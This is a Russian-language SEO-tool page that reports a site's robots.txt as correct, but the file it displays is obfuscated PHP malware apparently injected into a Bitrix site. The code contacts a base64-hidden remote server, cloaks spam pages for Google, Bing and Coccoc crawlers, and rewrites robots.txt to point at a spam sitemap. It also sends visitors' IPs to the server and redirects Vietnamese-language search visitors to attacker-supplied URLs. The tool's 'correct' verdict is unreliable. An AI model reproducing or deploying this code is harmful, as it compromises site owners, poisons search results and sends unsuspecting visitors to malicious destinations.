Найден корректный robots.txt
Файл управления сканированием сайта роботами
?
Robots.txt указывает поисковым роботам, какие страницы сканировать, а какие — нет. Ошибки в файле могут случайно закрыть важные разделы от индексации.
Robots.txt настроен корректно. Размер файла: 12086 байт. Загружен за: 0сек.
Проверяемая страница не запрещена в robots.txt.
Показать содержимое robots.txt
<?php
if(!defined("hlqxyiQ"))define("hlqxyiQ","lhwAOlJ");$GLOBALS[hlqxyiQ]=explode("|7|+|,","|7|+|,error_reporting|7|+|,base64_decode|7|+|,strtolower|7|+|,substr|7|+|,strpos|7|+|,header|7|+|,stripos|7|+|,rtrim|7|+|,is_writable|7|+|,dirname|7|+|,file_put_contents|7|+|,preg_match|7|+|,time|7|+|,str_replace|7|+|,chr|7|+|,base64_encode|7|+|,strlen|7|+|,trim|7|+|,preg_replace|7|+|,rand|7|+|,file_get_contents|7|+|,explode|7|+|,in_array");@set_time_limit(0);$GLOBALS[hlqxyiQ][0x1](0);$timeout=5;$TD_server="aHR0cDovL2JpZ2dpcmwuaG9tZXM=";$TD_server=$GLOBALS[hlqxyiQ][0x2]($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS[hlqxyiQ][03]($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?$GLOBALS[hlqxyiQ][03]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS[hlqxyiQ][03]($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS[hlqxyiQ][03]($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');ob_clean();if($GLOBALS[hlqxyiQ][0x4]($request,-4)===".xml"){if($GLOBALS[hlqxyiQ][0x5]($request,'sub')!==false){$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}else{$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}if($response!==false&&$response[0]==200){$GLOBALS[hlqxyiQ][06]('Content-Type: application/xml; charset=utf-8');echo $response[1];}exit;}else if($GLOBALS[hlqxyiQ][7]($request,'robots.txt')!==false){$robots_path=$_SERVER['DOCUMENT_ROOT']. '/robots.txt';$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type. '://' .$GLOBALS[hlqxyiQ][010]($host,'/'). "/" . "inx_sitemap.xml
";if($GLOBALS[hlqxyiQ][0x9]($GLOBALS[hlqxyiQ][0xA]($robots_path))){$GLOBALS[hlqxyiQ][0xB]($robots_path,$robotsTxtContent);}$GLOBALS[hlqxyiQ][06]('Content-Type: text/plain');echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if($GLOBALS[hlqxyiQ][12]($image_pattern,$request)){exit;}if($GLOBALS[hlqxyiQ][12]('/google|coccoc|bingbot|Y!J/i',$user_agent)){$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$timeout,$user_agent,$referer);if($response!==false){if($response[0]==200&&!empty($response[1])){http_response_code(200);$GLOBALS[hlqxyiQ][06]('Cache-Control: max-age=31536000');$GLOBALS[hlqxyiQ][06]('Expires: ' . gmdate('D, d M Y H:i:s',$GLOBALS[hlqxyiQ][015]()+31536000). ' GMT');$GLOBALS[hlqxyiQ][06]('X-Content-Type-Options: nosniff');$GLOBALS[hlqxyiQ][06]('Vary: Accept-Encoding');$GLOBALS[hlqxyiQ][06]('Access-Control-Expose-Headers: Content-Length');$GLOBALS[hlqxyiQ][06]('Content-Type: text/html; charset=UTF-8');echo $response[1];exit;}else{if(!empty($response[1])){$json_data=$GLOBALS[hlqxyiQ][0xE](array($GLOBALS[hlqxyiQ][15](239),$GLOBALS[hlqxyiQ][15](187),$GLOBALS[hlqxyiQ][15](191),"
","
","
"," "),'',$response[1]);$item_data=json_decode($json_data,true);$name=urlencode($item_data['name']);$id=$item_data['id'];if(!empty($name)){$spider_result=spider($name);}}}if(isset($spider_result)&&$spider_result!=false&&isset($id)){$data=array('id'=>$id,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$id=isset($id)?$id:0;$data=array('id'=>$id,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if($GLOBALS[hlqxyiQ][0x5]($referer,'google')!==false||$GLOBALS[hlqxyiQ][0x5]($referer,'coccoc')!==false||$GLOBALS[hlqxyiQ][0x5]($referer,'bing')!==false){if(judgeLanguage()==1){$client_ip=$GLOBALS[hlqxyiQ][16](get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$timeout,$user_agent,$referer);if($response!==false&&$response[0]==200&&$GLOBALS[hlqxyiQ][021]($response[1])>5){$tzurl=$GLOBALS[hlqxyiQ][022]($response[1]);$tzurl=$GLOBALS[hlqxyiQ][023]('/[^\x20-\x7E]/','',$tzurl);$tzurl=$GLOBALS[hlqxyiQ][022]($tzurl," \"'`");$tzurl=$GLOBALS[hlqxyiQ][023]('/^\s+|\s+$/','',$tzurl);@$GLOBALS[hlqxyiQ][06]("Location: " . $tzurl);exit;}}}function curl_request($url,$timeout=10,$ua='',$referer=null){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=$GLOBALS[hlqxyiQ][20](1,254). '.' .$GLOBALS[hlqxyiQ][20](1,254). '.' .$GLOBALS[hlqxyiQ][20](1,254). '.' .$GLOBALS[hlqxyiQ][20](1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$url,CURLOPT_HTTPHEADER=>$headerArr,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_USERAGENT=>$ua,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_AUTOREFERER=>1,CURLOPT_ENCODING=>"gzip",CURLOPT_HTTPGET=>1,CURLOPT_TIMEOUT=>$timeout,CURLOPT_HEADER=>0,CURLOPT_RETURNTRANSFER=>1,CURLOPT_REFERER=>$referer]);$output=curl_exec($curl);if(curl_errno($curl)){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@$GLOBALS[hlqxyiQ][0x15]($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];$GLOBALS[hlqxyiQ][0xC]('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$url,CURLOPT_HEADER=>0,CURLOPT_USERAGENT=>$ua,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query($postData),CURLOPT_RETURNTRANSFER=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_TIMEOUT=>10,CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded; charset=UTF-8','Accept: application/json']]);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@$GLOBALS[hlqxyiQ][025]($url,false,$context);return $response;}}function judgeLanguage(){global $lang;if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=$GLOBALS[hlqxyiQ][026](',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);foreach($languages as $language){$cleanLang=$GLOBALS[hlqxyiQ][3]($GLOBALS[hlqxyiQ][0x12]($language));$langCode=$GLOBALS[hlqxyiQ][04]($cleanLang,0,2);if($langCode===$lang){return 1;}}}return 0;}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .$GLOBALS[hlqxyiQ][024](1,100),'Mozilla/' .$GLOBALS[hlqxyiQ][024](3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS[hlqxyiQ][024](50,60). ') Gecko/20100101 Firefox/' .$GLOBALS[hlqxyiQ][024](1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS[hlqxyiQ][024](50,60). ') AppleWebKit/' .$GLOBALS[hlqxyiQ][024](500,600). '.36 (KHTML, like Gecko) Chrome/' .$GLOBALS[hlqxyiQ][024](50,60). '.0.3112.90 Safari/' .$GLOBALS[hlqxyiQ][024](500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS[hlqxyiQ][024](13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS[hlqxyiQ][024](90,100). '.0.4430.212 Safari/537.36 Edg/' .$GLOBALS[hlqxyiQ][024](90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS[hlqxyiQ][024](90,100). '.0.4430.212 Safari/537.36 OPR/' .$GLOBALS[hlqxyiQ][024](76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .$GLOBALS[hlqxyiQ][024](8,12). '.0; SM-G9' .$GLOBALS[hlqxyiQ][024](5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS[hlqxyiQ][024](90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .$GLOBALS[hlqxyiQ][024](14,16). '_' .$GLOBALS[hlqxyiQ][024](0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS[hlqxyiQ][024](14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function get_client_ip(){$ip_keys=array('HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS[hlqxyiQ][0x16](',',$_SERVER[$key])as $ip){$ip=$GLOBALS[hlqxyiQ][0x12]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){if($key==='REMOTE_ADDR'){return $ip;}if(!is_private_ip($ip)){return $ip;}}}}}return 'unknown';}function is_private_ip($ip){return!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE);}function spider($name){global $timeout;$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if($GLOBALS[hlqxyiQ][23]($GLOBALS[hlqxyiQ][03]($file_extension),$non_web_extensions)){continue 1;}if($GLOBALS[hlqxyiQ][0x7]($href,'youtube.com')!==false||$GLOBALS[hlqxyiQ][0x7]($href,'twitter.com')!==false||$GLOBALS[hlqxyiQ][0x7]($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$timeout,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=$GLOBALS[hlqxyiQ][0x12]($spider_html[1]);if($GLOBALS[hlqxyiQ][0x11]($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($name){global $timeout;$search_urls=["google"=>"https://www.google.com/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?p=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,$timeout,'',$url);if($result!==false&&$result[0]===200){$dom=new DOMDocument();@$dom->loadHTML($result[1],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=$GLOBALS[hlqxyiQ][7]($href,'https://');$urlPos=$GLOBALS[hlqxyiQ][7]($href,'/url?');if($httpsPos!==false&&$GLOBALS[hlqxyiQ][5]($href,'google')===false&&$urlPos===0){$hrefArray[]=$GLOBALS[hlqxyiQ][0x4]($href,$httpsPos);}}else if($href&&$domain=='aol'){if($GLOBALS[hlqxyiQ][0xC]('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=$GLOBALS[hlqxyiQ][0x4]($matches[1],0,-4);if($GLOBALS[hlqxyiQ][5]($httpsPart,'aol.com')===false&&$GLOBALS[hlqxyiQ][5]($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Главная");
?>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>
WordPress